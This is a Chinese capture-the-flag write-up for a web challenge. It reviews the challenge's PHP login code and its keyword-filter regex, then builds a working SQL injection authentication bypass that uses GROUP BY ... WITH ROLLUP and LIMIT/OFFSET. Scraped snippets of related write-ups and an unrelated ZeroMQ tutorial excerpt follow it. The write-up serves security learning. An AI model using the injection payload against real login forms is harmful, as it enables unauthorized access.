实验吧——因缺思汀的绕过(sql with rollup)

题目地址:http://ctf5.shiyanbar.com/web/pcat/index.php

通读源码,得知出flag的条件

1.需要post提交uname以及pwd,否则直接die了

1 if (!isset($_POST[‘uname‘]) || !isset($_POST[‘pwd‘])) {
2     echo ‘<form action="" method="post">‘."<br/>";
3     echo ‘<input name="uname" type="text"/>‘."<br/>";
4     echo ‘<input name="pwd" type="text"/>‘."<br/>";
5     echo ‘<input type="submit" />‘."<br/>";
6     echo ‘</form>‘."<br/>";
7     echo ‘<!--source: source.txt-->‘."<br/>";
8     die;
9 }

2.所提交的数据不能包含以下所有关键字(and|select|from|where|union|join|sleep|benchmark|,|\(|\)),否则exit;

 1 function AttackFilter($StrKey,$StrValue,$ArrReq){
 2     if (is_array($StrValue)){
 3         $StrValue=implode($StrValue);
 4     }
 5     if (preg_match("/".$ArrReq."/is",$StrValue)==1){
 6         print "水可载舟,亦可赛艇!";
 7         exit();
 8     }
 9 }
10
11 $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
12 foreach($_POST as $key=>$value){
13     AttackFilter($key,$value,$filter);
14 }

3.通过sql查询必须得到一条数据,且数据库中的pwd字段要和post传递的pwd相等

 1 $sql="SELECT * FROM interest WHERE uname = ‘{$_POST[‘uname‘]}‘";
 2 $query = mysql_query($sql);
 3 if (mysql_num_rows($query) == 1) {
 4     $key = mysql_fetch_array($query);
 5     if($key[‘pwd‘] == $_POST[‘pwd‘]) {
 6         print "CTF{XXXXXX}";
 7     }else{
 8         print "亦可赛艇!";
 9     }
10 }else{
11     print "一颗赛艇!";
12 }

也就是如果我们同时知道数据库中的uname和pwd的话就可以通过,可问题是我们并不知道,所以就需要进行注入,自行构造。

mysql中的with rollup是用来在分组统计数据的基础上再进行统计汇总,即用来得到group by的汇总信息;

看到有些信息汇总后是NULL,我想要pwd变成NULL,提交的pwd也填空,由此便可以构造

uname:  ‘ or 1 group by pwd with rollup limit 1#

pwd:    (空的)

后台的语句便是

SELECT * FROM interest WHERE uname = ‘‘ or 1 group by pwd with rollup limit 1#‘

即为

SELECT * FROM interest WHERE uname = ‘ ‘ or 1 group by pwd with rollup limit 1

可是看到并没有绕过,为什么呢?

我猜想数据库的数据应该是这样的

我们sql语句执行的结果就应是这样的

因为limit 1默认就返回第一条,而我们当然需要的是第三条(此时并不知道服务器上有几条,所以应该自己慢慢测试),所以

这样子我们post的pwd是空,sql查询返回的pwd是NULL(空),自然相等了,于是构造

uname:  ‘ or 1 group by pwd with rollup limit 1 offset 2#

pwd:    (空的)

原文地址:https://www.cnblogs.com/leixiao-/p/9763873.html

时间: 2024-10-09 20:49:06

实验吧——因缺思汀的绕过(sql with rollup)的相关文章

实验吧CTF练习题---WEB---因缺思汀的绕过解析

实验吧web之因缺思汀的绕过 地址:http://www.shiyanbar.com/ctf/1940 flag值: 解题步骤: 1.点开题目,观察题意 2.通过观察题目要求,判断此道题还有代码审计和Mysql相关的知识,进入解题链接查看题目 3.进入页面发现是个登录查询界面,第一时间想到的是可能存在sql注入漏洞,先查看源码 4.通过源码分析,发现有个叫socrce.txt 的文件名称,可是在登录界面和URL上面并没有标识出来,从而判断可能是源代码文件,我们进入首界面,把URL中的inexe.

CTF---Web入门第六题 因缺思汀的绕过

因缺思汀的绕过分值:20 来源: pcat 难度:中 参与人数:6479人 Get Flag:2002人 答题人数:2197人 解题通过率:91% 访问解题链接去访问题目,可以进行答题.根据web题一般解题思路去解答此题.看源码,请求,响应等.提交与题目要求一致的内容即可返回flag.然后提交正确的flag即可得分.web题主要考察SQL注入,XSS等相关知识.涉及方向较多.此题主要涉及源码审计,MySQL相关的知识. flag格式 CTF{} 解题链接: http://ctf5.shiyanb

3.因缺思汀的绕过

一开始,直接看页面源代码,发现提示:siyrce.txt进去查看,发现是PHP代码 经过分析可知: 想要得到flag必须先绕过这3点: 不能使用上述关键字 数据库影响数为1 通过第三个if 第一个不使用即可通过 第二个返回结果只能又一条(说明用户不止一个) 确定一下当前用户人数,由于第一个过滤了,所以使用limit 1 offset 1来判断人数 1' or 1 limit 1 offset 0#    返回亦可赛艇!(一个人)偏移量从0开始 1'or 1 limit 1 offset 1#  

绕过SQL限制的方法

突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与"'"号和"="号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好-- 经过我的收集,大部分的防注入程序都过滤了以下关键字: and | select | update | chr | delete | %20from | ; | insert | mid | master

实验吧web解题记录

自以为sql注入掌握的还是比较系统的,然而,做了这些题之后才发现,大千世界无奇不有,真是各种猥琐的思路...还是要多学习学习姿势跟上节奏呀 登录一下好吗?? http://ctf5.shiyanbar.com/web/wonderkun/web/index.html 试了一下发现他过滤了/ or union select - # 虽然and ' " = + %没有被过滤,但用%0b和%23都没效,于是还在想这是用了多麻烦的WAF,越想越复杂我竟然还去用xss,真是跑题了... 然而最后的payl

1008.CTF 题目之 WEB Writeup 通关大全 – 2

Web题目系列2 登陆一下好吗?? 题目链接 http://shiyanbar.com/ctf/1942 题目描述 不要怀疑,我已经过滤了一切,还再逼你注入,哈哈哈哈哈! flag格式:ctf{xxxx} 解题思路 一个万能密码问题,多试试就可以了. username: ''=' password: ''=' who are you? 题目链接 http://shiyanbar.com/ctf/1941 题目描述 我要把攻击我的人都记录db中去! 解题思路 看到题目就想到修改x-forwarde

实验吧web题(26/26)全writeup!超详细:)

#简单的SQL注入 http://www.shiyanbar.com/ctf/1875 1)试着在?id=1,没有错误 2)试着?id=1',出错了,有回显,说明有注入点: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1 3)先预计后台表名为fla

CTSC2016&amp;&amp;APIO2016游记

4.30 下午衡中放假,我们因为比赛的缘故提前到中午12:00放假 然后我爸爸说要来接我,直到下午两点多他才到,然后衡中宿舍的楼管阿姨死活不给我开门 莫名其妙的等到了三点多快四点的时候我才跟实验班的一起走 奔波了很久在火车站附近找到了一家宾馆入住 背着爸爸偷偷买了根冰棍,感觉非常的兹磁啊 晚上一直在写 榴莲 这道题的标程,忙了很久才把数据做好 快到十点的时候才把题目传到cojs上,然后草草冲了个澡就去睡觉了 5.1 早上早早的就上了火车,车上一直在跟小伙伴们宣传我在cojs上出的题目 到了北京以

ZeroMQ 教程 002 : 高级技巧

本文主要译自 zguide - chapter two. 但并不是照本翻译. 上一章我们简单的介绍了一个ZMQ, 并给出了三个套路的例子: 请求-回应, 订阅-发布, 流水线(分治). 这一章, 我们将深入的探索一下ZMQ中的socket, 以及"套路" socket API 如果熟悉linux socket编程的同学阅读完了第一章, 一定有一种说不上来的别扭感觉.因为通常情况下, 当我们讨论socket的时候, 我们一般指的是操作系统提供的网络编程接口里的那个socket概念. 而在